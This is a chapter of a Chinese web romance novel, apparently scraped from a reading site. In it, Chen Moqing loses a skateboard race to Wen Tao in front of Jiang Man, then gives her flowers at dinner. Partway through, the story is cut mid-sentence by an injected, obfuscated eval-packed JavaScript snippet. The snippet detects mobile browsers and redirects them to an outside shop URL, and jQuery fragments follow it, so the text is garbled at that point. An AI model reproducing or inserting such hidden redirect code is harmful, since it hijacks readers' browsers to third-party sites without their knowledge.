温涛还顺便赠送了一声口哨。

    陈默青不太眼熟他,被无端地挑衅,更何况还是在江满面前,他眉头皱了起来,看着温涛。

    他是有些生气的。

    江满也看一眼温涛,不过目光最后落在了那块滑板之上,“还回来。”

    温涛邪气地笑了一笑,用脚一推,滑板就朝着她们这边冲过来了。

    陈默青皱着眉头将江满拉到一边,然后才等着滑板滑到面前,他一脚踩住滑板让它不再往前,再一用力就把滑板回弹然后收板。

    江满看着温涛,他踩着滑板很利落地在各种坡道上起伏,身形很稳,甚至还有花活,一看就是个经验丰富的玩家。

    “我也会这些。”陈默青盯着江满幽幽道。

    江满点点头:“教我。”

    陈默青没反应过来,“啊”了一声之后才立马答应下来:“嗷嗷,好啊。”

    “那应该就是温雅的男儿,温涛。”系统突然出声解释道,“也就是女主的家教学生。”

    陈默青刚把滑板放平,江满听见声音,踩上去的动作停了一下,而后若无其事地继续扶住他横在面前的胳膊。

    他看着江满踩稳了,才问系统:“怎么这么没礼貌,满满不会被他刁难吧?”

    系统:“你不信任江满的能力么?”

    江满愣住,滑板就这样又一次从脚下脱离,好在陈默青没有松手,她伏在他怀里抬头,看着他担忧的眼睛。

    “怎么了?”陈默青察觉江满的走神,将她扶住,“是害怕了吗?没关系的,我们可以再试试,不行就算了。”

    江满摇摇头,看了一眼温涛的方向,而后坚定地说道:“我要学。”

    这一个下午,陈默青都在陪着江满学习滑板,她真的是个很有学习天赋的人,只不过一下午就已经可以很熟练地滑行,连收板都学会了。

    只是陈默青不同意现在就教她上坡道。

    “不能急于求成。”

    陈默青又领了一块滑板,江满在平地上滑已经不需要他帮忙了,到了他去□□雪恨的时机了。

    江满几乎一个下午都没停歇地在练习,这会也有些累了,她坐到一边去,陈默青拿着拧松的矿泉水递给她:“我去去就回。”

    她仰头问:“去干嘛?”

    “我要报仇。”陈默青一脸正义凛然。

    江满了然地点点头,忍不住好笑,听见系统也嘲讽他:“你有什么仇?”

    “你懂个屁,我今天把他给赢服气了,满满以后给他当家教的时候就会老实很多了。”陈默青看一眼江满,和系统说了真实意图。

    江满又弯弯眼:“那你加油。”

    温涛还在滑板场上,陈默青滑过去拍了拍他的肩膀,江满靠在旁边,拧开瓶盖喝了一口水,听不清他们在说些什么。

    但很快,两个人就站到了起点处的位置,有人招呼着滑板场上的人都散开,看起来是要腾出位置来比赛。

    陈默青看着温涛,客气了一下:“你先我先?”

    温涛扫他一眼,不屑地收板,后退了一步:“你先吧。”

    陈默青勾唇笑了一下,看一眼江满的方向,后者举起水瓶遥遥敬他,他的笑容更盛。

    江满看清他的口型:“我会赢的。”

    她抿唇笑笑,看着陈默青踩着滑板冲下去,动作比温涛的花样还要更多,每做完一个动作都要回头看一眼。

    江满看到一半,才想起应该要举起手机录下,但她刚拿出手机录上,就看见已经滑了一圈的陈默青突然摔了。

    陈默青只觉得脚下的滑板突然歪了一下,就是这么一下,他还没来得及稳住就已经和地面来了个亲密接触。

    她皱着眉头起身跑过去,已经有人扶着他起来,“你没事吧?”

    陈默青摔得屁股有些痛,龇牙咧嘴了一下,看见江满跑过来还是笑:“没事没事。”

    有和陈默青熟的工作人员走过来,听见这话,看了一眼江满,而后了然地笑了一下:“你喜欢的人啊?”

    陈默青超大声:“我女朋友。”

    周围的围观群众:……

    江满默默地给了他一拳,陈默青没躲,嘿嘿笑了两声,看见温涛走过来才反应过来收了笑。

    系统:“怎么不笑了?非要跟人比输赢,这下输了吧。”

    “刚刚那就是个意外。”陈默青不服气地在心里反驳了一句,但面对温涛,却一副云淡风轻的模样,“我输了。”

    “但我依旧不认为我的技术会比你的差。”

    温涛依旧是那副欠扁的表情,“切,大不了再来一次啊,小爷给你这个机会。”

    陈默青忍住了翻一个大白眼的欲望,“我没问题。”

    张砚山看一眼陈默青,也皱着眉头,他是知道他的水平的,明明一切都很顺利,居然会摔了,他都已经多久没摔过了。

    “你都会摔了,果然还是太久没来了。”刚刚的那个工作人员又笑了一句,他手搭在陈默青肩膀上,“前段时间干嘛去了?一直不来。”

    陈默青抖了一下肩膀,把齐旭挤开,好和江满离得近一点,“去去去,我高考去了。”

    齐旭和张砚山都大吃一惊:“你真的才十八?”

    陈默青:……

    这叫什么话都。

    他看起来难道很老吗?

    两个人围着陈默青又唏嘘了一会,温涛不耐烦了:“还比不比?”

    “比……”陈默青刚想说什么,江满拽了拽他的袖子,“你真的没事吗?”

    “真没事。”陈默青朝她安慰地笑笑,“摔跤是常有的事,我有及时调整姿势让自己摔得轻一点的。”

    江满也只好点了点头,轻声道:“那你小心些。”

    一行人重新回到滑板场开头,原本那些去了别的滑道上的人,看到这边有人摔跤,还听说是比赛,也围了过来,一时之间都没有江满站的位置。

    江满踮脚看了一眼,一个小孩不小心被剐蹭到,险些摔倒,她顺手扶了一把,“小心。”

    滑板场上本来就不大,又光滑,还有不少人在穿穿梭梭,她站那有些碍事,索性回了刚刚休息的位置坐下。

    手机被随意地丢在旁边,好在俱乐部里监控都是齐全的,不然估计真被人拿了都不好找。

    江满捡起手机才发现还在录着视频,她干了停止键,抬头继续看着陈默青的方向,这一次换成是温涛先滑。

    温涛滑得很快,也很顺利。

    他滑回来的时候,有人鼓起了掌,他得意地张开了手臂

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753106|206596||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,挑衅地冲着陈默青吹口哨。

    陈默青面无表情地看着,齐旭双手抱胸,看着温涛这波骚操作嘴里啧啧有声,他怼了怼某人的胳膊,“你这次再摔,在你女朋友面前的面子可就真的不保了哦。”

    张砚山忍不住乐了:“我看那小姑娘也是个乖学生,你怎么拐到的?”

    陈默青看一眼江满,心软了一下,转头又冷着脸瞪一眼两个损友:“闭嘴吧你们,狗嘴里吐不出象牙。”

    这一次陈默青很顺利地滑完了全程,但他还是有些顾忌刚刚摔过一次的事情,所以在滑到同样的位置时,他忍不住放慢了速度。

    毕竟只是友谊赛,所以他们事先约定的就是只比速度和动作完成度。

    这样一来,比速度,温涛的确用时比他更少,至于动作完成度的话,两个人都做了四个花式,难度倒也不分上下,算是扯平。

    “我还是赢了。”温涛自然也清楚,陈默青一回来,他就招摇过市地喊开了,他踩着滑板冲下坡,口哨吹得响亮。

    鼓掌声很大。

    江满觉得这个人还真是爱吹口哨。

    晚饭不像中午吃的那样仓促,陈默青定了一家评分很高的浪漫餐厅,连昨晚定的花也是送到了那里。

    只是陈默青看着后视镜里的自己,早上做好的发型到现在已经有些软塌了,有些懊恼地和系统说早知道他就应该订中午的,这样好歹比现在体面多了。

    系统回答他还不如下次多喷点发胶。

    他觉得这是个好主意。

    江满端着两杯奶茶走过来,下意识地抬头看了一眼陈默青的发型,确实没有早上有型了。

    陈默青接过江满递过来的奶茶,刚把吸管给她插上,就感觉到头上一重,然后又是卷发左右晃动了一下。

    “很可爱。”

    江满感受到柔软的发丝在手心蹭过,还有一句话没有说出来,但在心里一闪而过:“陈小狗。”

    陈默青一下子抬头,眼睛晶亮,盯着江满:“真的吗?”

    她不语,把手里的吸管塞给陈默青。

    陈小狗非要追问,非要她再夸一遍,非要说自己没有听清,要她再说,她也只能低头咬着吸管低低重新夸了一句。

    陈默青终于心满意足,回一句:“你才可爱。”

    陈默青定的餐厅情调很浪漫,还有人驻唱,这会儿唱的正是一首甜甜的小情歌,江满还没来过这样的餐厅,好奇地一直在看台上唱歌的人。

    等再回过头来,陈默青抱着一束漂亮的花安静地盯着她,等她的目光落在他身上。

    “正式的恋爱要从一束花开始。”陈默青拿着一束漂亮的铃兰花,还是会有些紧张,“昨天是我太唐突,匆忙表白,什么都没有,今天补上。”

    江满张开手接过花,低头看花,拨弄了一下花瓣,铃兰花精贵,这将将盈满手心一圈的小花束大概都价值不菲。

    怎么会有人拿铃兰花做表白的,不是一般都用来做婚礼的手捧花的么?

    江满看着洁白的铃兰,突然抬眼看着他,神色认真:“我确认我很喜欢你,你也是吗?”

    陈默青没有想到江满会反问,但还是立马回答:“我也确定我很喜欢你。”

    “不掺杂任何一丝别的什么吗?”